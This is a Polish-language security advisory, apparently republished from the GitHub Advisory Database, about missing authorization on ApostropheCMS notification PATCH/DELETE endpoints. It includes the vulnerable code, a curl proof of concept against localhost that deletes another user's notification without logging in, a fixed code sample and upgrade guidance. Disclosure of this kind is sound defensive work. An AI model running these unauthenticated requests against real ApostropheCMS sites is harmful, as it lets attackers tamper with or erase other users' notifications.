Niska

ApostropheCMS: Brak autoryzacji w punktach końcowych PATCH/DELETE modułu powiadomień

  • Ujawniono: 20.10.2026
  • Aktualizacja: 20.10.2026 21:38

Podsumowanie

Moduł powiadomień udostępnia punkty końcowe REST PATCH oraz DELETE, które wykonują operacje bezpośrednio na bazowej kolekcji MongoDB bez weryfikacji, czy żądający jest uwierzytelniony lub czy jest właścicielem docelowego powiadomienia.

W rezultacie nieuwierzytelniony atakujący, który uzyska prawidłowy identyfikator powiadomienia, może zmodyfikować lub trwale usunąć powiadomienie innego użytkownika.


Dotknięty kod

Plik

packages/apostrophe/modules/@apostrophecms/notification/index.js
js
// restApiRoutes
async patch(req, _id) {
  const dismissed = self.apos.launder.boolean(req.body.dismissed);

  if (dismissed) {
    await self.emit('beforeSave', req, { _id, dismissed });

    await self.db.updateOne(
      { _id },
      {
        $set: { dismissed },
        $currentDate: { updatedAt: true }
      }
    );
  }
},

async delete(req, _id) {
  await self.db.deleteMany({ _id });
}

W przeciwieństwie do trasy powiadomień GET, te procedury obsługi nie weryfikują:

  • Uwierzytelnienia (req.user)
  • Własności (userId === req.user._id)
  • Autoryzacji ani uprawnień

Zamiast tego dostarczony _id jest używany bezpośrednio w surowej kolekcji MongoDB.


Przyczyna źródłowa

Punkty końcowe REST powiadomień wykonują operacje na bazie danych bezpośrednio przy użyciu self.db, bez wymuszania uwierzytelniania ani autoryzacji.

Chociaż framework zapewnia mechanizmy uprawnień (req.user, sprawdzanie własności oraz apos.permission), te punkty końcowe nigdy ich nie wywołują. W konsekwencji każde żądanie trafiające do tych procedur obsługi jest przetwarzane wyłącznie na podstawie podanego identyfikatora powiadomienia.

Dla porównania, trasa powiadomień GET poprawnie sprawdza:

js
if (!(req.user && req.user._id)) {
  throw self.apos.error('invalid');
}

W procedurach obsługi PATCH ani DELETE nie ma równoważnej walidacji.


Dowód koncepcji (Proof of Concept)

1. Zaloguj się jako administrator

bash
curl -sS -c admin_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/login/context" \
-o /dev/null

curl -sS \
-b admin_cookies.txt \
-c admin_cookies.txt \
-X POST \
http://localhost:4321/api/v1/@apostrophecms/login/login \
-H "Content-Type: application/json" \
-H "X-XSRF-TOKEN: csrf" \
-d '{
  "username":"admin",
  "password":"AdminP@ssw0rd123!",
  "session":true
}'

2. Utwórz powiadomienie

bash
curl -sS \
-b admin_cookies.txt \
-X POST \
http://localhost:4321/api/v1/@apostrophecms/notification \
-H "Content-Type: application/json" \
-H "X-XSRF-TOKEN: csrf" \
-d '{
  "message":"manual verify test",
  "type":"info"
}'

Przykładowa odpowiedź:

js
{
  "noteId":"p358r7phi2w8l245ww5130uf"
}

3. Sprawdź, czy powiadomienie istnieje

bash
curl -sS \
-b admin_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf"

Odpowiedź:

js
{
  "notifications":[
    {
      "_id":"p358r7phi2w8l245ww5130uf",
      "userId":"i89h844o5n3nbreis0ugusum",
      "message":"manual verify test"
    }
  ],
  "dismissed":[]
}

4. Uzyskaj dostęp do punktu końcowego bez uwierzytelnienia

Utwórz nowy plik cookie (cookie jar) zawierający tylko publiczny plik cookie CSRF:

bash
rm -f anon_cookies.txt

curl -sS \
-c anon_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/login/context" \
-o /dev/null

Następnie wyślij żądanie bez żadnej uwierzytelnionej sesji:

bash
curl -i \
-b anon_cookies.txt \
-X DELETE \
"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf" \
-H "X-XSRF-TOKEN: csrf"

Odpowiedź:

http
HTTP/1.1 200 OK

5. Sprawdź, czy powiadomienie zostało usunięte

bash
curl -sS \
-b admin_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf"

Odpowiedź:

js
{
  "notifications":[],
  "dismissed":[]
}

Powiadomienie należące do uwierzytelnionego administratora zostało pomyślnie usunięte przez nieuwierzytelnionego klienta.


Wpływ

Atakujący, który uzyska prawidłowy identyfikator powiadomienia, może:

  • Usunąć powiadomienia innego użytkownika.
  • Oznaczyć powiadomienia innego użytkownika jako odrzucone.
  • Ukryć powiadomienia administracyjne lub powiązane z bezpieczeństwem.

Podatność wpływa przede wszystkim na integralność.

Chociaż identyfikatory powiadomień są generowane przy użyciu CUID2 i praktycznie niemożliwe do odgadnięcia, autoryzacja nie może polegać na entropii identyfikatorów. Jakakolwiek odrębna podatność ujawniająca informacje lub wyciek logów ujawniający identyfikatory powiadomień uczyniłaby ten problem bezpośrednio podatnym na wykorzystanie.


Zalecana poprawka

Wymagaj uwierzytelnienia przed przetworzeniem jakiegokolwiek żądania modyfikacji.

Dodatkowo zawęź wszystkie operacje bazy danych do uwierzytelnionego użytkownika.

Przykład:

js
// patch
async patch(req, _id) {
  if (!req.user) {
    throw self.apos.error('forbidden');
  }
  const dismissed = self.apos.launder.boolean(req.body.dismissed);
  if (dismissed) {
    await self.emit('beforeSave', req, { _id, dismissed });
    const result = await self.db.updateOne(
      { _id, userId: req.user._id },   // <-- ownership check
      { $set: { dismissed }, $currentDate: { updatedAt: true } }
    );
    if (!result.matchedCount) {
      throw self.apos.error('notfound');
    }
  }
},
// delete
async delete(req, _id) {
  if (!req.user) {
    throw self.apos.error('forbidden');
  }
  const result = await self.db.deleteMany({ _id, userId: req.user._id });
  if (!result.deletedCount) {
    throw self.apos.error('notfound');
  }
}

Podobnie zaktualizuj procedurę obsługi PATCH, aby przed aktualizacją rekordów powiadomień weryfikować zarówno uwierzytelnienie, jak i własność.


Rekomendacja

Każdy punkt końcowy modyfikacji powiadomień powinien:

  • Wymagać uwierzytelnienia.
  • Weryfikować własność (userId === req.user._id).
  • Zwracać 403 Forbidden dla nieautoryzowanych żądań.
  • Unikać wykonywania operacji bazy danych wyłącznie przy użyciu kontrolowanego przez użytkownika _id.

Te same kontrole autoryzacji należy również zastosować do wszelkich wewnętrznych metod pomocniczych (takich jak dismiss()), które modyfikują stan powiadomień.

Co trzeba zrobić

Zaktualizuj ApostropheCMS do wersji 4.33.0 lub nowszej.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka npm apostrophe < 4.33.0 4.33.0

Odnośniki

Ocena CVSS 3.7/10
Wektor CVSS
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
Słabość (CWE)
CWE-639, CWE-862
Platforma
npm
Paczka
apostrophe
Ujawniono
20.10.2026
Aktualizacja
20.10.2026 21:38

Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.

OSV / GitHub Advisory Database - GHSA-vwwx-px9w-crrc - CC BY 4.0

Historia podatności: apostrophe

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (27) w archiwum
Wszystkich wpisów
27
Pierwsza → ostatnia
09.2020 10.2026
Bez poprawki
4
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 2
  • Wysoka 8
  • Średnia 13
  • Niska 4

Ujawnienia w latach

  1. 2020: 2
  2. 2021: 2
  3. 2022: 0
  4. 2023: 0
  5. 2024: 0
  6. 2025: 0
  7. 2026: 23
Istotność:
  1. ApostropheCMS: Brak autoryzacji w punktach końcowych PATCH/DELETE modułu powiadomień ten wpis
    Niska · 3.7 CVE-2026-113665 < 4.33.0 4.33.0
  2. Wysoka · 7.3 CVE-2026-45011 = 4.29.0 brak poprawki
  3. Krytyczna · 9.8 CVE-2021-25979 >= 2.63.0, < 3.4.0 3.4.0

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.